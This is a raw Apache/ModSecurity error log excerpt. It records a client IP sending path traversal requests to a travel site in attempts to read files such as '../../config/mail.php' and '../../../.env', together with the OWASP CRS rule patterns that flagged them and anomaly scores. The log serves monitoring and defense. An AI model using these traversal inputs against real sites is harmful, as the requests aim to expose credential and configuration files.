/?content=../../config/mail.php&sid=xRIvgD6lbg9Yzc_45VeePNMiYLmT9GGnt5aZ57KF2n8cIuRnz8dsBg8Q6Qxi8pN4oKfIAigygdc8z0c6ww4okP4536kZhbQxE1kZBcfqPWX0GBJ0HUcNrkz0pfwG-9r8UkkjKIlIFLxWhgop8mt4vnBWRH1agovelkPLPwDOp-M4P8phyEFrxcR6OZmf8Cy4Ck8McMS_deMymIgqa0IScIfLSkE--BJXHNk-xYcRHYi7z-_Xg5_i1olwIxDV9lCmZK2X_0I81eTAEMYO32CVg89W&extra=O2E4K6BCFQCB6K6KMT7U3GM64DTQIR47Z6JI2EC4BXR6JSIPEZ7ZZDJV2DHBRKLVYUHJ7KMI422BHOPVCBMQNDVQQIVPCXRYPHCKW3ERU57G4C4VL6N6VP2XSYKWR4Y3UE7QYQXXHS6JA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.032898 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../config/mail.php&sid=xrivgd6lbg9yzc_45veepnmiylmt9ggnt5az57kf2n8ciurnz8dsbg8q6qxi8pn4okfiaigygdc8z0c6ww4okp4536kzhbqxe1kzbcfqpwx0gbj0hucnrkz0pfwg-9r8ukkjkiliflxwhgop8mt4vnbwrh1agovelkplpwdop-m4p8phyefrxcr6ozmf8cy4ck8mcms_demymigqa0isciflske--bjxhnk-xycrhyi7z-_xg5_i1olwixdv9lcmzk2x_0i81etaemyo32cvg89w&extra=o2e4k6bcfqcb6k6kmt7u3gm64dtqir47z6ji2ec4bxr6jsipez7zzdjv2dhbrklvyuhj7kmi422bhopvcbmqndvqqivpcxryphckw3eru57g4c4vl6n6vp2xsykwr4y3ue7qyqxxhs6ja..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.032917 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.032939 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.034203 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.034350 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.034668 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUWwAAABI"]
[Fri Jul 17 08:55:07.034704 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2F.env&ref=cVpck2AvUmWWXLtcV-tArB2U0lllDMzvB_2dL-TKvYbWTcxlG7i3aVQ8h0DVvGfMeBqzGSWyflN2wybJJp1XmQOtbiKkEFp3mghH7dhEMs_ZS7Rd1MwIKqJJcmHmY2jdgaw72c4UBQT4GvLazCsbKnVKw2qYBsO3UxypIQ8wjx0pM_HwGjTylC6aRreg-1frQ2gLkvjyXXHHS6vf3q_39xnw9QlNlz5-osaokNRTOo2LX8QDC_i7I7AZFJUouTfbV4eBWq8SDxbqpVtBjSQzlFKC&ref=RTJ47E7YTLT6LS2EQTIJQUPCHJSV4RVJ25WCWTTKLMXMHFNI7PGNW7REW53RBKPH5IYPZLPUPL4O57L23BRXGP3L6AS2XO24QEOTR4WDVW3G2VZFUTMLHMUI2BU6KM7U6257HDVHAEHEMYTHAG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.034746 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.034802 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../.env&ref=cVpck2AvUmWWXLtcV-tArB2U0lllDMzvB_2dL-TKvYbWTcxlG7i3aVQ8h0DVvGfMeBqzGSWyflN2wybJJp1XmQOtbiKkEFp3mghH7dhEMs_ZS7Rd1MwIKqJJcmHmY2jdgaw72c4UBQT4GvLazCsbKnVKw2qYBsO3UxypIQ8wjx0pM_HwGjTylC6aRreg-1frQ2gLkvjyXXHHS6vf3q_39xnw9QlNlz5-osaokNRTOo2LX8QDC_i7I7AZFJUouTfbV4eBWq8SDxbqpVtBjSQzlFKC&ref=RTJ47E7YTLT6LS2EQTIJQUPCHJSV4RVJ25WCWTTKLMXMHFNI7PGNW7REW53RBKPH5IYPZLPUPL4O57L23BRXGP3L6AS2XO24QEOTR4WDVW3G2VZFUTMLHMUI2BU6KM7U6257HDVHAEHEMYTHAGDAOQGXRV63SB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.034827 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../.env&ref=cvpck2avumwwxltcv-tarb2u0llldmzvb_2dl-tkvybwtcxlg7i3avq8h0dvvgfmebqzgswyfln2wybjjp1xmqotbikkefp3mghh7dhems_zs7rd1mwikqjjcmhmy2jdgaw72c4ubqt4gvlazcsbknvkw2qybso3uxypiq8wjx0pm_hwgjtylc6arreg-1frq2glkvjyxxhhs6vf3q_39xnw9qlnlz5-osaoknrtoo2lx8qdc_i7i7azfjuoutfbv4ebwq8sdxbqpvtbjsqzlfkc&ref=rtj47e7ytlt6ls2eqtijqupchjsv4rvj25wcwttklmxmhfni7pgnw7rew53rbkph5iypzlpupl4o57l23brxgp3l6as2xo24qeotr4wdvw3g2vzfutmlhmui2bu6km7u6257hdvhaehemythagdaoqgxrv63sb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.034846 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.034863 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.036002 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.036151 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.036212 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRwAAABs"]
[Fri Jul 17 08:55:07.036260 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRwAAABs"]
[Fri Jul 17 08:55:07.036434 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95oQAAAAw"]
[Fri Jul 17 08:55:07.038026 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRwAAABs"]
[Fri Jul 17 08:55:07.038381 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.038817 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBRwAAABs"]
[Fri Jul 17 08:55:07.040811 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2F..%2F.env&anything=6hv1TRKeAvOHDCJYv9tl2D3AmUAaOgOnAicx_I2GUc44aw3puO_3cFWK3q6-EPt_E9h7esw6RVxN_1UYi8Yi4xY59dnDcYYgwfZasFSbUcsJW6Gzf17dj6dbyRU7f1mGSApV0YnppBIWvueksETeGFmrPB24F1P1pcqndJRVhHezpm01gC7uv3Ahe8obXnaEgKQZjqgW6OkTbKNXJqMfV_U3R9EoBuStOoKvYyHr4q-CkqvqBrh8VgZ-SXqLB-qY2eEI4lXsRtOco2rdCSo9Hk7K&token=CTBMHAUN5DXFVZUCS7BGE2KNATUU5RZNPVIHJ3QFYRMPGE5CA47OTCRW57ASZ4QR3FLD5EFXKISEVXN7YDGWTPOL2FHZJK7DAJZYMKPZBTTNPHWNR6AMFTEYDNKV675GUGWKDL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
[Fri Jul 17 08:55:07.040856 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
[Fri Jul 17 08:55:07.040909 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../.env&anything=6hv1TRKeAvOHDCJYv9tl2D3AmUAaOgOnAicx_I2GUc44aw3puO_3cFWK3q6-EPt_E9h7esw6RVxN_1UYi8Yi4xY59dnDcYYgwfZasFSbUcsJW6Gzf17dj6dbyRU7f1mGSApV0YnppBIWvueksETeGFmrPB24F1P1pcqndJRVhHezpm01gC7uv3Ahe8obXnaEgKQZjqgW6OkTbKNXJqMfV_U3R9EoBuStOoKvYyHr4q-CkqvqBrh8VgZ-SXqLB-qY2eEI4lXsRtOco2rdCSo9Hk7K&token=CTBMHAUN5DXFVZUCS7BGE2KNATUU5RZNPVIHJ3QFYRMPGE5CA47OTCRW57ASZ4QR3FLD5EFXKISEVXN7YDGWTPOL2FHZJK7DAJZYMKPZBTTNPHWNR6AMFTEYDNKV675GUGWKDLJPK4V2NFOHBVP6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
[Fri Jul 17 08:55:07.040950 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../../.env&anything=6hv1trkeavohdcjyv9tl2d3amuaaogonaicx_i2guc44aw3puo_3cfwk3q6-ept_e9h7esw6rvxn_1uyi8yi4xy59dndcyygwfzasfsbucsjw6gzf17dj6dbyru7f1mgsapv0ynppbiwvueksetegfmrpb24f1p1pcqndjrvhhezpm01gc7uv3ahe8obxnaegkqzjqgw6oktbknxjqmfv_u3r9eobustookvyyhr4q-ckqvqbrh8vgz-sxqlb-qy2eei4lxsrtoco2rdcso9hk7k&token=ctbmhaun5dxfvzucs7bge2knatuu5rznpvihj3qfyrmpge5ca47otcrw57asz4qr3fld5efxkisevxn7ydgwtpol2fhzjk7dajzymkpzbttnphwnr6amfteydnkv675gugwkdljpk4v2nfohbvp6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
[Fri Jul 17 08:55:07.040970 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
[Fri Jul 17 08:55:07.040989 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
[Fri Jul 17 08:55:07.042189 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
[Fri Jul 17 08:55:07.042360 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.042627 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95ogAAAAw"]
